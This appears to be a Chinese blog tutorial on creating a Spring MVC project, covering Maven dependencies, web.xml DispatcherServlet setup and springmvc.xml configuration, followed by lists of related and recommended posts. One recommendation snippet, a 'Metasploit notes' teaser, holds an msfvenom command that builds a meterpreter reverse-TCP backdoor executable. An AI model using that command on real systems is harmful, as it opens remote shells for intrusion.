1、导入对应jar包

    <properties>
<spring.version>5.0.2.RELEASE</spring.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.0</version>
<scope>provided</scope>
</dependency>

2、配置web.xml

  1. 在以前使用Servlet时候:写好对应的请求处理类,需要在web.xml中配置映射,才能将请求对应到处理类。

  2. 因此要使用Spring MVC,需要配置web.xml将所有请求交给Spring MVC来处理,因此将所有请求映射到Spring MVC的org.springframework.web.servlet.DispatcherServlet类。

  3. 在web.xml中配置如下:

    <web-app>
    <display-name>Archetype Created Web Application</display-name> <servlet>
    <servlet-name>dispatcherServlet</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    </servlet> <servlet-mapping>
    <servlet-name>dispatcherServlet</servlet-name>
    <url-pattern>/</url-pattern>
    </servlet-mapping>
    </web-app>

3、增加springmvc配置文件

  1. 在resources文件夹下增加springmvc.xml配置文件,其实跟spring文件是一样的。

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:context="http://www.springframework.org/schema/context"
    xmlns:mvc="http://www.springframework.org/schema/mvc"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd"> <!--开启注解扫描-->
    <context:component-scan base-package="com.lin"/> <!--配置视图解析器-->
    <bean id="internalResourceViewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
    <property name="prefix" value="/WEB-INF/pages/"/>
    <property name="suffix" value=".jsp"/>
    </bean> <!--开启springMVC框架注解的支持-->
    <mvc:annotation-driven/> </beans>
  2. springmvc配置文件(比如包扫描)需要被web加载,才能实现我们配置的功能,因此在web.xml中配置如下:

    <web-app>
    <display-name>Archetype Created Web Application</display-name> <servlet>
    <servlet-name>dispatcherServlet</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <!--加载spring配置文件-->
    <init-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>classpath:springmvc.xml</param-value>
    </init-param>
    <!--启动时候自动加载-->
    <load-on-startup>1</load-on-startup>
    </servlet> <servlet-mapping>
    <servlet-name>dispatcherServlet</servlet-name>
    <url-pattern>/</url-pattern>
    </servlet-mapping>
    </web-app>

    特别要说明的是:<init-param>是用来初始化<servlet-class>类中的变量的,所以<param-name>写的变量名在类中是存在的。

4、<mvc:annotation-driven>说明

  1. 在SpringMVC的各个组件中,处理器映射器(HandleMapping)、处理器适配器(HandlerAdapteMr)、视图解析器称为SpringMVC的三大组件。

  2. 使用<mvc:annotation-driven>自动加载RequestMappingHandleMapping(处理映射器)和RequestMappingHandlerAdapteMr(处理适配器),可用在SpringMVC.xml配置文件中使用<mvc:annotation-driven>替代注解处理器和适配器的配置。

  3. 它就相当于在xml中配置了:

        <!--HandlerMapping-->
    <bean id="handlerMapping" class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
    <!--HandlerAdapter-->
    <bean id="handlerAdapter" class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter"/>
    <!--还有很多其它的bean....-->

创建SpringMVC项目过程的更多相关文章

  1. 【SpringMVC】使用Myeclipse创建SpringMVC项目【超详细教程】

    之前一直是使用Eclipse创建Web项目,用IDEA和MyEclipse的创建SpringMVC项目的时候时不时会遇到一些问题,这里把这个过程记录一下,希望能帮助到那些有需要的朋友.我是用的是MyE ...

  2. springmvc学习笔记---idea创建springmvc项目

    前言: 真的是很久没搞java的web服务开发了, 最近一次搞还是读研的时候, 想来感慨万千. 英雄没落, Eclipse的盟主地位隐隐然有被IntelliJ IDEA超越的趋势. Spring从2. ...

  3. 工具idea 基于maven 创建springMVC项目

    SpringMVC Spring MVC是Spring提供的一个强大而灵活的web框架.借助于注解,Spring MVC提供了几乎是POJO的开发模式,使得控制器的开发和测试更加简单.这些控制器一般不 ...

  4. 在eclipse中使用maven创建springMVC项目

    一.在eclipse中创建maven-archetype-webapp项目: 1.新建项目选择maven项目 2.默认,下一步 3.选择maven-archetype-webapp,其他保持默认即可 ...

  5. eclipse创建springmvc项目

    一.在eclipse中创建maven-archetype-webapp项目: 1.新建项目选择maven项目 2.默认,下一步 3.选择maven-archetype-webapp,其他保持默认即可 ...

  6. vs在微软官方tfs创建私有项目过程

    谁也不是成天创建新项目,每次一创建就跟没干过这活似的,这次把它记下,再用的时候来翻,也希望能给别人点帮助. 上https://dev.azure.com/,tfs原来的网址会往这里跳,现在都在往dev ...

  7. SpringMVC教程--eclipse中使用maven创建springMVC项目

    一.在eclipse中创建maven-archetype-webapp项目: 1.新建项目选择maven项目 2.默认,下一步 3.选择maven-archetype-webapp,其他保持默认即可 ...

  8. SpringMVC教程--Idea中使用Maven创建SpringMVC项目

    1.新建项目 参照idea教程中的创建maven项目https://www.cnblogs.com/daxiang2008/p/9061653.html 2.POM中加入依赖包 (1)指定版本 (2) ...

  9. Maven3.2创建webapp项目过程中问题以及解决方案

    用maven组件来创建web项目,maven的好处一大堆,但是在创建项目的时候问题也很多,诸多不顺,网上找了很多资料,貌似都没能解决问题. 环境:jdk1.7.0_80,eclipse4.4,mave ...

随机推荐

  1. linux下别名的设定

    命令别名设定功能: (alias)假如我需要知道这个目录底下的所有文件 (包含隐藏档) 及所有的文件属性,那么我就必须要下达『 ls -al 』这样的指令串,比较麻烦,我们可以为其设定别名为lm al ...

  2. PAT甲级——1005.SpellItRight(20分)

    Given a non-negative integer N, your task is to compute the sum of all the digits of N, and output e ...

  3. 设计函数f(f(n))== -n

    来源:厦门SEO 我上次面试时遇到的一个问题: 设计一个函数f ,使得: f(f(n)) == -n 其中n是一个32位有符号整数 ; 您不能使用复数算法. 如果您不能为整个数字范围设计这样的函数,请 ...

  4. linux版本neo4j安装配置教程

    https://blog.csdn.net/weixin_44293236/article/details/89467489

  5. 31)PHP,对象的遍历

    对象的遍历: 对象也可以可以使用foreach语句进行便利,有两点注意: 1,只能便利属性.(所以,这个就解决了,为啥之前的数据库类,我只是看到了一些属性名字,而没有得到我的属性值) 2,只能便利“看 ...

  6. Super Mario HDU - 4417 (主席树询问区间比k小的个数)

    Mario is world-famous plumber. His “burly” figure and amazing jumping ability reminded in our memory ...

  7. Metasploit笔记

    生成exe后门 msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o 1987.exe 生成PHP后门 m ...

  8. Servlet&JSP复习笔记 04

    1.状态管理 因为HTTP协议是无状态协议,但很多时候需要将客户端和服务端的多次请求当做一个来对待.将多次交互中设计的数据进行保存. 状态:数据 管理:对数据的维护 2.Cookie 客户端向服务器发 ...

  9. OA项目-表结构

    ###############  新建APP并配置   ############### INSTALLED_APPS = [ ... 'apps.users.apps.UsersConfig', 'a ...

  10. 解决2013Lost connection to MySQL server during query错误方法

    在my.ini配置文件 mysqld 节点下添加 max_allowed_packet = 500M 也就是配置MySQL允许的最大数据包大小,上面的500M你可以根据你的项目修改为你自己的值,只要比 ...